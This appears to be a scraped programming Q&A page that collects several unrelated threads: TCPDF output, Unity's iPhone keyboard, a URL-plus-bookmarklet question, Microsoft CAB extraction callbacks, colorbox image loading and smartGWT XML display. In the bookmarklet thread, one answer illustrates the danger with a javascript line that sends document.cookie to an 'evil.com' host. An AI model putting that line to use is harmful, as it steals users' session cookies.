How to detect if the files are succesfully download in tcpdf? - tcpdf

In my code given below ,
$pdf->Output($node->nid . '.pdf', 'D');
How can I detect whether files are downloaded ?
As while reading aout the Output function it does not mention anything regarding the return value.
So I guess it does not return any value?

This cannot be detected as it occurs on the client-side. The end-user may click "Save" or "Cancel".
However by setting the D flag to I , like
$pdf->Output($node->nid . '.pdf', 'I');
You can make sure that you have succesfully rendered the PDF to the end-user. The end-user may scroll down and click the Save button to save the PDF. Saving it or not solely depends on the end-user .. again you won't be able to track this.

Related

Unity3D and the iPhonekeyboard?

I'm trying to figure out how to use the iPhoneKeyboard function in Unity3D. I want to be able to run a function when a user hits the button "OK" in the keyboard. I just simply can't figure this out.
The second question in this matter is how I can change the "OK" to "Search"?
check out IPhoneKeyboard.Open in the Reference.. there is one example
After you can process the user input using the IPhoneKeybard.done attribute (also one example)

Combine URL and a javascript bookmarklet together

I need to access some data in someone's site. The way to get to that page is visiting http://www.foosite.com and click a link which has javascript:foo(); to bring out the real data.
foo() is like:
function foo(param){
createXXXCookie('COOKIE_NAME', param, 60);
window.location.href="/current/location";
}
So this is basically setting the cookie and reload the page again. During page load, the document ready reads COOKIE_NAME and display the corresponding data.
I want to use MS Excel to grab some data from this page. So I was looking for a one go way to get the data. Since in browser address bar, I can enter http://www.foosite.com first and then enter javascript:foo(); to invoke foo(). I was wondering if combining the URL and the bookmarklet, like http://www.foosite.com;javascript:foo(); could work? I actually tried this, but it seems IE/FF/GC will skip javascript:... part and just proceed the first part of URL.
This is not possible.
Had it been possible, it would be a deadly security hole.
Email someone a shortlink to http://somebank.com;javascript:$.getScript('http://evil.com/steal?payload=' + encodeURIComponent(document.cookie)), and move on from there to auto-submitting forms.

CAB file API clarification

Since I'm not really seeing any content anywhere that doesn't point back to the original Microsoft documents on this matter, or source code that really doesn't seem to answer the questions I'm having, I thought I might ask a few things here. (Delphi tag is there because that's what my dev environment is on the code I'm making from this)
That said, I had a few questions the API document wasn't answering. First one: fdi_notify messages. What is "my responsibility" is in coding these: fdintCABINET_INFO: fdintPARTIAL_FILE: fdintNEXT_CABINET: fdintENUMERATE: ? I'll illustrate what I mean by an example. For fdintCLOSE_FILE_INFO, "my responsibility" is to Close a file related to handle given me, and set the file's date and time according to the data passed in fdi_notify.
I figure I'm missing something since my code isn't handling extracting spanned CAB files...any thoughts on how to do this?
What you're more than likely running into is that FDICopy only reads the cab you passed in. It will use fdintNEXT_CABINET to get spanned data for any files you extract in response to fdintCOPY_FILE, but it only calls fdintCOPY_FILE for files that start on that first cab.
To get a directory listing for the entire set, you need to call FDICopy in a loop. Every time you get a fdintCABINET_INFO event, save off the psz1 parameter (next cab name). When FDICopy returns, check that. If it's an empty string you're done, if not call FDICopy again with the next cab as the new path.
fdintCABINET_INFO: The only responsibility for this is returning 0 to continue processing. You can use the information provided (the path of the next cabinet, next disk, path name, nad set ID), but you don't need to.
fdintPARTIAL_FILE: Depending on how you're processing your cabs, you can probably ignore this. You'll only see it for the second and later images in a set, and it's to tell you that the particular entry is continued from a previous cab. If you started at the first cab in the set you'll have already seen an fdintCOPY_FILE for the file. If you're processing random .cabs, you won't really be able to use it either, since you won't have the start of the file to extract.
fdintNEXT_CABINET: You can use this to prompt the user for a new directory for the next cabinet, but for simple spanning support just return 0 if the passed in filename is valid or -1 if it isn't. If you return 0 and the cab isn't valid, or is the wrong one, this will get called again. The easiest approach (if you don't request a new disk/directory), is just to check pfdin^.fdie. If it's FDIError_None it's equal the first time being called for the requested cab, so you can return 0. If it's anything else it's already tried to open the requested cab at least once, so you can return -1 as an error.
fdintENUMERATE: I think you can ignore this. It isn't covered in the documentation, and the two cab libraries I've looked at don't use it. It may be a leftover from a previous API version.

colorbox problem when reading image from database

I'm developing a project using asp.net mvc. And i am saving images to database as byte array.
Every thing works properly until when iam using colorbox.
I try to using colorbox to show set of product images. when i am click to button i am getting weird result. I am expecting image but its gathering huge amount of weird symbols like below.
<�<�="=a=�=�> >`>�>�?!?a?�?�###d#�#�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�
Iam sure that works properly including colorbox. Problem occurs when colorbox tries ta get image from database. Any ideas?
Thanks in advance
public FileContentResult Index(int id)
{
var media = _entities.Images.AsQueryable()
.Where(e => e.Id == id)
.Select(e => e).FirstOrDefault();
return File(media.ImageData, media.ImageMimeType);
}
this is hove i get the image.
http://localhost:2632/assets/index/105
this is the pattern of url. for getting image.
$("a[rel=" + "'" + 48 + "']").colorbox({ transition: "fade", title: true, current: true });
this is how i call color box.
<a style=" display:none;" rel="48" href="assets/index/107">asd</a>
this is the how i embed the element to page.
Solution available at Problem while working with Jquery colorbox and dynamic images that reading via Aspx
Use colorbox's photo property.
Example:
$('a.example').colorbox({photo:true});
The reason is that colorbox's regex to
auto-detect image URLs is going to
fail for that kind of URL (doesn't
contain an image-type extension).
The weird symbols you've posted are because the bytes are being interpreted as text, and they won't all be valid/printable characters. This is not necessarily a problem.
What happens when you send a request (http://localhost:2632/assets/index/105)? What does the browser show?
What datatype is the field in the database? Make sure you're not using a text field, as this would certainly screw things up. It might be worthwhile copy/pasting the bytes you're saving to the database and the ones you're getting back out and checking whether they're the same. If they're not, then chances are something is wrong in the database (like the field type).

ListGridRecord in smartGWT not displaying items after '<'

I have a ListGrid with ListGridRecords where I am trying to display the straight xml output from a call I'm doing on the backend. Here's an example:
lgr.setAttribute("XML", "<xml><response>Bob</response></xml>");
However, when it goes to display the contents of lgr in the ListGrid, it doesn't display it. (i.e. it is blank). If I make the field editable, I can double click on the cell and it will then display it. Also, if I get rid of the '<' symbols it displays as well. However, that kind of defeats the purpose since I want to display the exact xml used.
Do I need to escape the '<' somehow in the ListGridRecord? What is the best way to do this in GWT?
Ok, just found a thread that seems to solve my problem at least halfway. I would still like to enable the user to copy it without the encoded values, but at least now they can see it. I believe I'll enable some sort of click handler on the fields to to enable the correct copying.
http://www.gwt-ext.com/forum/viewtopic.php?f=7&t=2693

Resources